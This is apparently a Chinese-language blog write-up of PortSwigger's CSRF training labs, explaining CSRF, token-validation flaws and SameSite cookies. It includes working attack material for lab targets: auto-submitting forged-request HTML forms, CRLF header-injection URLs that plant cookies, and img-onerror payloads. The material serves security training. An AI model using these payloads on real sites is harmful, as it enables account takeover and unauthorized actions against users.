一、跨站点请求伪造（CSRF）

1、简述：

跨站点请求伪造（CSRF）是一个Web安全漏洞，使得攻击者能够诱使用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略，该策略旨在防止不同的网站相互干扰

2、影响：

在成功的CSRF攻击中，攻击者会让受害者用户无意中执行某个操作。如可能是更改帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质，攻击者可能能够完全控制用户帐户。如果受损用户在应用程序中具有特权角色，则攻击者可能能够完全控制应用程序的所有数据和功能。

3、原理：

1、CSRF攻击必须具备三个关键条件：

1、一个操作行动。应用程序中存在攻击者有理由引发的操作。这可能是一个特权操作（如修改其他用户的权限），也可能是对用户特定数据的任何操作（如更改用户自己的密码）。
    2、基于Cookie的会话处理。执行操作涉及发出一个或多个HTTP请求，应用程序仅依赖会话cookie来识别发出请求的用户。没有其他机制可用于跟踪会话或验证用户请求。
    3、没有不可预测的请求参数。执行操作的请求不包含任何攻击者无法确定或猜测其值的参数。例如，当使用户更改其密码时，如果攻击者需要知道现有密码的值，则函数不容易受到攻击。

2、示例

1、某个应用程序包含允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作时，会发出如下所示的HTTP请求：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
2、这符合CSRF要求的条件：
攻击者会对更改用户帐户上的电子邮件地址的操作感兴趣。在此操作之后，攻击者通常能够触发密码重置并完全控制用户帐户。
应用程序使用会话cookie来标识发出请求的用户。没有其他令牌或机制来跟踪用户会话。
攻击者可以轻松确定执行操作所需的请求参数值。
3、具备这些条件后，攻击者可以构建包含以下HTML的网页：
<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
4、 如果受影响用户访问攻击者的网页，则会发生以下情况：
攻击者的页面将触发对易受攻击网站的HTTP请求。
如果用户登录到易受攻击的网站，其浏览器将自动在请求中包含其会话Cookie（假设未使用SameSite Cookie）。
易受攻击的网站将以正常方式处理请求，将其视为受害用户发出的请求，并更改其电子邮件地址

虽然CSRF通常是针对基于Cookie的会话处理进行描述的，但它也出现在应用程序自动向请求添加一些用户凭据的其他上下文中，例如HTTP基本身份验证和基于证书的身份验证

4、构造CSRF攻击

1、手动创建CSRF利用所需的HTML可能很麻烦，特别是在所需请求包含大量参数或请求中存在其他异常的情况下。构建CSRF利用漏洞攻击的最简单方法是使用 CSRF PoC发生器内置于BP专业版：

1、在Burp Suite Professional中的任意位置选择您想要测试或利用的请求。
    2、从右键单击上下文菜单中，选择参与度工具/生成CSRF PoC。
    3、Burp Suite将生成一些HTML来触发选定的请求（不包括cookie，它将由受害者的浏览器自动添加）。
    4、可以调整CSRF PoC生成器中的各种选项来微调攻击的各个方面。在一些不寻常的情况下，您可能需要这样做，以处理请求的古怪特性。
    5、将生成的HTML复制到网页中，在已登录到易受攻击网站的浏览器中查看该网页，并测试是否成功发出预期请求以及是否发生所需操作。

示例：

2、涉及实验：

实验1：无防御的CSRF漏洞

本实验的电子邮件更改功能易受CSRF攻击。

完成实验：编制HTML，使用CSRF攻击更改查看者的电子邮件地址并将其上载到漏洞利用服务器

已有账号：wiener:peter

part1:

登录帐户，提交“更新电子邮件”表单

HTTP代理历史记录中查找生成的请求

右键单击请求并选择参与度工具/生成CSRF PoC。启用该选项以包括自动提交脚本，然后单击“重新生成”

并复制HTML

part2:

转到漏洞利用服务器，将漏洞利用HTML粘贴到“正文”部分，然后单击store“存储”。

验证该漏洞是否有效(view exploit“查看漏洞”），最后“交付给受害者”

5、利用CSRF

1、跨站点请求伪造攻击的传递机制本质上与反射XSS相同。通常攻击者会将恶意HTML放到他们控制的网站上，然后诱使受害者访问该网站。可以通过经由电子邮件或社交媒体消息向用户馈送到网站的链接来完成。如果攻击是针对某个流行网站（如用户评论中），可能只是等待用户访问该网站。

2、一些简单的CSRF利用漏洞攻击使用GET方法，并且可以完全独立，在易受攻击的网站上只有一个URL。在这种情况下，攻击者可能不需要使用外部站点，就可以直接向受害者提供易受攻击的域中的恶意URL。

在上例中，如果可以使用GET方法执行更改电子邮件地址的请求，则自包含攻击如下所示：

3、XSS和CSRF区别

跨站点脚本（XSS）使得攻击者能够在受害用户的浏览器中执行任意JavaScript。
跨站点请求伪造（CSRF）使攻击者能够诱使受害用户执行他们不希望执行的操作。

XSS漏洞的后果通常比CSRF漏洞更严重：
    1、CSRF通常只适用于用户能够执行的操作的子集。许多应用程序通常实现CSRF防御，但忽略了一个或两个暴露的操作。相反，成功的XSS漏洞利用通常可诱使用户执行该用户能够执行的任何动作，而不管漏洞产生于何种功能。
    2、CSRF可以描述为“单向”漏洞，因为虽然攻击者可以诱使受害者发出HTTP请求，但他们无法检索该请求的响应。相反，XSS是“双向的”，因为攻击者注入的脚本可以发出任意请求，读取响应，并将数据泄漏到攻击者选择的外部域

4、CSRF令牌

一些XSS攻击确实可以通过有效地使用CSRF令牌来防止。一个简单的反射XSS漏洞，可以轻易地利用它：

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

示例：

1、假设易受攻击的函数包含CSRF令牌：
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
2、假设服务器正确地验证了CSRF令牌，并拒绝了没有有效令牌的请求，那么该令牌确实可以防止利用XSS漏洞。线索就在名字里：“跨站脚本”至少在其反射形式中涉及跨站请求。通过防止攻击者伪造跨站点请求，应用程序防止了对XSS漏洞的轻微攻击。
3、重要的警告：
    1、如果反射的XSS漏洞存在于站点上不受CSRF令牌保护的函数中的任何其他地方，则可以通过正常方式利用该XSS。
    2、如果可利用的XSS漏洞存在于站点上的任何位置，则可以利用该漏洞使受害用户执行操作，即使这些操作本身受到CSRF令牌的保护。在这种情况下，攻击者的脚本可以请求相关页获取有效的CSRF令牌，然后使用该令牌执行受保护的操作。
    3、CSRF令牌无法防止 存储XSS脆弱性。如果受CSRF标记保护的页也是 存储XSS漏洞，则可以通过通常的方式利用该XSS漏洞，并且XSS有效负载将在用户访问该页面时执行。

6、针对CSRF的常见防御措施

1、成功发现和利用CSRF漏洞通常需要绕过目标网站、受害者的浏览器或两者部署的反CSRF措施。会遇到的最常见的防御措施如下：

1、CSRF令牌-CSRF令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。尝试执行敏感操作（如提交表单）时，客户端必须在请求中包含正确的CSRF令牌。这使得攻击者很难代表受害者构造有效的请求。
2、SameSite cookies- SameSite是一种浏览器安全机制，用于确定何时将网站的cookies包含在源自其他网站的请求中。由于执行敏感操作的请求通常需要经过身份验证的会话Cookie，因此适当的SameSite限制可以防止攻击者跨站点触发这些操作。
3、基于Referer的验证--一些应用程序利用HTTP Referer头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这通常不如CSRF令牌验证有效。

二、绕过CSRF令牌验证

1、CSRF令牌

1、CSRF令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。发出执行敏感操作（如提交表单）的请求时，客户端必须包含正确的CSRF令牌。否则，服务器将拒绝执行请求的操作。

1、与客户端共享CSRF令牌的常见方法是将它们作为隐藏参数包含在HTML表单中，例如：
<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="example@normal-website.com">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>
2、提交此表单将导致以下请求：
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com

如果正确实现，CSRF令牌会使攻击者难以代表受害者构造有效请求，从而有助于防御CSRF攻击。由于攻击者无法预测CSRF令牌的正确值，因此无法将其包含在恶意请求中。

2、CSRF令牌不必作为隐藏参数在后请求。如一些应用程序将CSRF令牌放在HTTP头中。令牌的传输方式对整个机制的安全性具有重大影响。

3、CSRF令牌验证中的常见缺陷

（1）CSRF令牌的验证取决于请求方法

（2）

2、CSRF令牌的验证取决于请求方法

1、当请求使用POST方法时，一些应用程序可以正确地验证令牌，但当使用GET方法时，则跳过验证。

在这种情况下，攻击者可以切换到GET方法来绕过验证并发起CSRF攻击：
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

2、涉及实验：

实验2：令牌验证取决于请求方法的CSRF

本实验的电子邮件更改功能易受CSRF攻击。尝试阻止CSRF攻击，但仅对某些类型的请求应用防御。

解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

已有账号：wiener:peter

part1:

登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求

将请求发送到Burp Repeater，并观察如果您更改csrf参数的值，则请求被拒绝。

使用上下文菜单上的"Changerequestmethod"将其转换为GET请求，并观察CSRF令牌是否不再经过验证

右键单击请求，然后从上下文菜单中选择Engagement tools/Generate CSRF PoC

启用该选项以包括自动提交脚本，然后单击"重新生成"，再复制HTML

part2:

转到漏洞利用服务器，将漏洞利用HTML粘贴到"正文"部分，然后单击"存储"。

要验证该漏洞是否有效，请单击"View exploit"（查看漏洞），单击"交付给受害者"

完成实验

3、CSRF令牌的验证取决于令牌是否存在

1、某些应用程序在令牌存在时正确验证令牌，但如果忽略令牌，则跳过验证。

在这种情况下，攻击者可以删除包含令牌的整个参数（而不仅仅是其值）以绕过验证并发起CSRF攻击：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
email=pwned@evil-user.net

2、涉及实验：

实验3：CSRF，其中令牌验证取决于令牌是否存在

本实验的电子邮件更改功能易受CSRF攻击。

解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

已有账号：wiener:peter

part1:

登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求

将请求发送到Burp Repeater，更改csrf参数的值，则请求被拒绝。

完全删除csrf参数请求被接受

右键单击请求，然后从上下文菜单中选择Engagement tools/Generate CSRF PoC

启用该选项以包括自动提交脚本，然后单击"重新生成"，再复制HTML

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a70004303bfec8dc05f4f8d007a00e7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

part2:

转到漏洞利用服务器，将漏洞利用HTML粘贴到"正文"部分，然后单击"存储"。

要验证该漏洞是否有效，请单击"View exploit"（查看漏洞），单击"交付给受害者"

完成实验

4、CSRF令牌未绑定到用户会话

1、某些应用程序不验证令牌是否与发出请求的用户属于同一会话。相反应用程序维护一个全局令牌池，已发出令牌并接受出现在此池中的任何令牌

2、在这种情况下，攻击者可以使用自己的帐户登录应用程序，获得有效令牌，然后将该令牌提供给CSRF攻击中的受害用户。

3、涉及实验：

实验4：令牌未绑定到用户会话的CSRF

1、这个实验室的电子邮件更改功能对 CSRF 来说是脆弱的。它使用令牌试图防止 CSRF 攻击，但没有集成到站点的会话处理系统中。

2、解决实验：使用开发服务器托管一个 HTML 页面，该页面使用 CSRF 攻击来改变查看者的电子邮件地址

3、已有账号：

wiener:peter

carlos:montoya

part1:

登录帐户。提交"更新电子邮件"表单，并拦截生成的请求。

记下CSRF令牌的值，然后丢弃请求

Z4wM1sCQzcxsKeoFxdbE2fNHUkUjoq8O

打开一个私人/匿名浏览器窗口，登录到另一个帐户，并发送更新电子邮件请求到BP

如果将CSRF令牌与来自其他帐户的值交换，则请求将被接受

使用其他账号的csrf令牌更改成功

part2:

创建并托管概念利用验证（CSRF令牌是一次性的，因此需要添加一个新令牌，刷新页面再次请求，就是新的了）

复制HTML

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a4100cf032ba6dbc3d33da90039005e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="sjGB2t7bA43mWMx6JQezFiBW2BJkty1k" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

存储漏洞，然后单击"Deliver exploit to victim"（发送给受害者）

完成实验

5、CSRF令牌绑定到非会话Cookie

1、在上述漏洞的变体中，某些应用程序确实将CSRF令牌绑定到Cookie，但不是绑定到用于跟踪会话的同一Cookie。

1、当应用程序使用两个不同的框架时，这很容易发生，一个用于会话处理，一个用于CSRF保护，这两个框架没有集成在一起：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

2、这种情况更难利用，但仍然是脆弱的。如果网站包含允许攻击者在受害者的浏览器中设置Cookie的任何行为，则攻击就有可能发生。攻击者可以使用自己的帐户登录应用程序，获取有效令牌和关联的Cookie，利用Cookie设置行为将其Cookie放入受害者的浏览器，并在CSRF攻击中将其令牌提供给受害者。

3、Cookie设置行为甚至不需要存在于与 CSRF脆弱性。如果所控制的cookie具有合适的范围，则可以潜在地利用同一总体DNS域内的任何其他应用程序来在作为目标的应用程序中设置cookie。例如，上的Cookie设置功能 staging.demo.normal-website.com 可用于放置提交给的Cookie secure.normal-website.com

4、涉及实验：

实验5：令牌绑定到非会话cookie的CSRF

1、本实验的电子邮件更改功能易受CSRF攻击。使用令牌来尝试防止CSRF攻击，但没有完全集成到站点的会话处理系统中。

2、解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

3、已有账号：

wiener:peter

carlos:montoya

part1:

登录帐户，提交"更新电子邮件"表单，并在HTTP代理历史记录中查找生成的请求

将请求发送到Burp Repeater，并观察更改会话cookie会将您注销，但更改csrfKey cookie只会导致CSRF令牌被拒绝。这表明csrfKey Cookie可能没有严格绑定到会话

打开一个隐私/匿名浏览器窗口，登录到另一个帐户，并发送一个新的更新电子邮件请求到BP

如果将csrfKey cookie和csrf参数从第一个帐户交换到第二个帐户，则请求将被接受

关闭BP和隐私浏览器

part2:

回到原来的浏览器，执行搜索，将结果请求发送到Burp Repeater，观察搜索词是否反映在Set-Cookie头中。由于搜索功能没有CSRF保护，可以使用它将cookie注入受害用户的浏览器。

创建一个利用此漏洞将csrfKey Cookie注入受害者浏览器的URL：

/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
我的是：
/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None

将原有的csrfKey置空后，通过在search中set-cookie

创建并托管概念利用验证，确保包含CSRF令牌。应通过电子邮件更改请求创建利用漏洞攻击

替换为以下代码来注入Cookie（需要csrfKey）
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
我的是：
<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=rFry4XfZMtkztI9YU4EERewPSwACRrLT%3b%20SameSite=None" onerror="document.forms[0].submit()">

part3:

生成插入的poc

此时的HTML还需要修改

将script标签中的内容换为上面的

<img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()">

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
换完后：
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="rFry4XfZMtkztI9YU4EERewPSwACRrLT" />
      <input type="submit" value="Submit request" />
    </form>
        <img src="https://0a81005e04e2ac60c05b4019007800a9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=3KgZOqo3BJRX4HkGlmX9ESGModd3Ch5J%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

存储利用漏洞攻击，然后单击"Deliver exploit to victim"（发给受害者）

完成实验

6、CSRF令牌只是在Cookie中复制

1、在上述漏洞的另一个变体中，某些应用程序不维护已发出令牌的任何服务器端记录，而是在Cookie和请求参数中复制每个令牌。验证后续请求时，应用程序只需验证请求参数中提交的令牌是否与Cookie中提交的值匹配。

这有时被称为针对CSRF的“双重提交”防御，因为它易于实现，并且不需要任何服务器端状态：
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下，如果网站包含任何Cookie设置功能，攻击者就可以再次执行CSRF攻击。在这里，攻击者不需要获得他们自己的有效令牌。只需发明一个令牌（可能是所需的格式，如果要检查的话），利用cookie设置行为将其cookie放置到受害者的浏览器中，并在CSRF攻击中将其令牌提供给受害者

2、涉及实验：

实验6：标记在Cookie中重复的CSRF

本实验的电子邮件更改功能易受CSRF攻击。它尝试使用不安全的"双重提交" CSRF预防技术。

完成实验：使用您的漏洞利用服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

已有账号：wiener:peter

part1:

登录帐户。提交"更新电子邮件"表单，并在HTTP代理历史记录中查找生成的请求

将请求发送到Burp Repeater，并观察到csrf body参数的值只是通过与csrf cookie进行比较来验证

（删除任意一个以后都会报400，少参数）

执行搜索，将结果请求发送到Burp Repeater，并观察搜索词是否反映在Set-Cookie报头中。由于搜索功能没有CSRF保护，可以使用它将cookie注入受害用户的浏览器

创建一个URL，利用此漏洞将伪造的csrf Cookie注入受害者的浏览器：

/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None

part2:

生成poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

按照无防御CSRF漏洞解决方案实验室中所述创建并托管概念利用验证，确保CSRF令牌设置为“假”。应通过电子邮件更改请求创建利用漏洞攻击。

删除<script>模块块，并改为以下代码来注入cookie并提交表单：

<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
我的是：
<img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>

更改后的为（注意2处csrf值改为一致，任意值）

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="333333&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="hidden" name="" value="" />
      <input type="submit" value="Submit request" />
    </form>
        <img src="https://0abf00ef04149dfdc6fb133800e000cc.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

part3:

完成实验

存储漏洞，然后单击“Deliver exploit to victim”（发给受害者）

完成实验

三、绕过SameSite Cookie限制

1、简述：

1、SameSite是一种浏览器安全机制，用于确定何时将网站的Cookie包含在源自其他网站的请求中。SameSite Cookie限制提供了针对各种跨站点攻击的部分保护，包括CSRF、跨站点泄漏和一些CORS漏洞攻击。

2、SameSite Cookie的上下文中、网站

在SameSite Cookie限制的上下文中，站点被定义为顶级域（TLD），通常类似于.com或.net，再加上一个附加级别的域名。这通常被称为TLD+1。

在确定请求是否为同一站点时，还考虑URL方案。这意味着从 http://app.example.com 到https://app.example.com的链接被大多数浏览器视为跨站点链接。

3、站点和源之间的区别

1、站点和源之间的区别在于它们的范围;一个站点包含多个域名，而一个源只包含一个。尽管它们密切相关，但重要的是不要互换使用这两个术语，因为将两者混为一谈可能会带来严重的安全隐患。

2、如果两个URL共享完全相同的方案、域名和端口，则认为它们具有相同的来源。不过请注意，端口通常是从方案中推断出来的。

3、“站点”一词的具体性要低得多，因为它只说明了方案和域名的最后一部分。至关重要的是，这意味着跨源请求仍然可以是同一站点的，但不是相反

这是一个重要的区别，因为这意味着任何允许任意JavaScript执行的漏洞都可以被滥用，以绕过属于同一站点的其他域上基于站点的防御

3、SameSite工作原理

1、在引入SameSite机制之前，浏览器在每个请求中向发出它们的域发送Cookie，即使请求是由不相关的第三方网站触发的。SameSite的工作原理是使浏览器和网站所有者能够限制哪些跨网站请求（如果有）应包括特定的Cookie。这有助于减少用户遭受CSRF攻击的风险，CSRF攻击会诱使受害者的浏览器发出请求，从而在易受攻击的网站上触发有害操作。由于这些请求通常需要与受害者的身份验证会话关联的Cookie，因此如果浏览器不包含此Cookie，攻击将失败。

2、当前所有主流浏览器都支持SameSite限制级别：严格、松弛、无

3、开发人员可以为他们设置的每个Cookie手动配置限制级别，从而使他们能够更好地控制何时使用这些Cookie。为此只需将相同站点中的属性设置Cookie响应报头及其首选值：

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

尽管这提供了一些针对CSRF攻击的保护，但这些限制都不能保证免疫

4、如果发布Cookie的网站没有明确设置SameSite属性，Chrome会默认自动应用Lax（松弛）限制。这意味着Cookie仅在满足特定条件的跨站点请求中发送，即使开发人员从未配置此行为

1、严格
如果cookie设置为SameSite=Strict属性，浏览器将不会在任何跨站点请求中发送它。简而言之，这意味着如果请求的目标站点与浏览器地址栏中当前显示的站点不匹配，则不会包含Cookie。
建议在设置Cookie以使承载者能够修改数据或执行其他敏感操作（例如访问仅对经过身份验证的用户可用的特定页面）时使用此选项。
尽管这是最安全的选项，但在需要跨站点功能的情况下，它可能会对用户体验产生负面影响。 
2、松弛
不严格的SameSite限制意味着浏览器将在跨站点请求中发送Cookie，但前提是同时满足以下两个条件：
    请求使用GET方法。
    请求是由用户的顶级导航（如单击链接）产生的。
这意味着Cookie不包括在跨站点 后例如请求。作为 后请求通常用于执行修改数据或状态的操作（至少根据最佳实践），因此它们更有可能成为CSRF攻击的目标。
同样，Cookie也不包含在后台请求中，例如由脚本、iframe或对图像和其他资源的引用发起的请求。 
3、无
如果使用SameSite=None属性设置Cookie，则无论使用何种浏览器，都将有效地禁用SameSite限制。因此，浏览器将在所有请求中向发出此cookie的网站发送此cookie，即使是由完全无关的第三方网站触发的请求。
除Chrome外，这是主要浏览器的默认行为，如果没有 相同站点属性在设置Cookie时提供。
禁用SameSite是有正当理由的，例如，当cookie旨在从第三方上下文使用，并且不授予承载者对任何敏感数据或功能的访问权限时。跟踪cookie就是一个典型的例子。
如果遇到设置为SameSite=None或没有显式限制的cookie，则值得调查它是否有用。当Chrome首次采用“默认松弛”行为时，它的副作用是破坏了许多现有的网络功能。作为一个快速的解决方案，一些网站选择简单地禁用所有Cookie上的SameSite限制，包括可能敏感的Cookie。
使用设置Cookie时 相同站点=无 ，网站还必须包括 安全属性，该属性确保仅通过HTTPS在加密消息中发送Cookie。否则，浏览器将拒绝Cookie，并且不会设置Cookie。
Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

4、使用GET请求绕过SameSite Lax限制

1、服务器并不总是挑剔它们是否收到获取或后请求到给定端点，甚至是那些期望表单提交的端点。如果还使用松弛的会话cookie限制，无论是显式限制还是浏览器默认设置限制，仍然可以执行 CSRF攻击通过引出获取从受害者的浏览器发出的请求。

只要请求涉及顶级导航，浏览器仍将包含受害者的会话cookie。以下是发起此类攻击的最简单方法之一：
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

即使不允许普通的GET请求，一些框架也提供了重写请求行中指定的方法的方法。

例如，Symfony支持表单中的_method参数，该参数优先于用于路由目的的普通方法：
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

涉及实验：

实验7：通过方法覆盖绕过SameSite Lax

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（上）

一、跨站点请求伪造（CSRF）

1、简述：

2、影响：

3、原理：

4、构造CSRF攻击

实验1：无防御的CSRF漏洞

5、利用CSRF

6、针对CSRF的常见防御措施

二、绕过CSRF令牌验证

1、CSRF令牌

2、CSRF令牌的验证取决于请求方法

实验2：令牌验证取决于请求方法的CSRF

3、CSRF令牌的验证取决于令牌是否存在

实验3：CSRF，其中令牌验证取决于令牌是否存在

4、CSRF令牌未绑定到用户会话

实验4：令牌未绑定到用户会话的CSRF

5、CSRF令牌绑定到非会话Cookie

实验5：令牌绑定到非会话cookie的CSRF

6、CSRF令牌只是在Cookie中复制

实验6：标记在Cookie中重复的CSRF

三、绕过SameSite Cookie限制

1、简述：

2、SameSite Cookie的上下文中、网站

3、站点和源之间的区别

3、SameSite工作原理

4、使用GET请求绕过SameSite Lax限制

热门文章

最新文章

相关电子书

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（上）

一、跨站点请求伪造（CSRF）

1、简述：

2、影响：

3、原理：

4、构造CSRF攻击

实验1：无防御的CSRF漏洞

5、利用CSRF

6、针对CSRF的常见防御措施

二、绕过CSRF令牌验证

1、CSRF令牌

2、CSRF令牌的验证取决于请求方法

实验2：令牌验证取决于请求方法的CSRF

3、CSRF令牌的验证取决于令牌是否存在

实验3：CSRF，其中令牌验证取决于令牌是否存在

4、CSRF令牌未绑定到用户会话

实验4：令牌未绑定到用户会话的CSRF

5、CSRF令牌绑定到非会话Cookie

实验5：令牌绑定到非会话cookie的CSRF

6、CSRF令牌只是在Cookie中复制

实验6：标记在Cookie中重复的CSRF

三、绕过SameSite Cookie限制

1、简述：

2、SameSite Cookie的上下文中、网站

3、站点和源之间的区别

3、SameSite工作原理

4、使用GET请求绕过SameSite Lax限制

热门文章

最新文章

相关电子书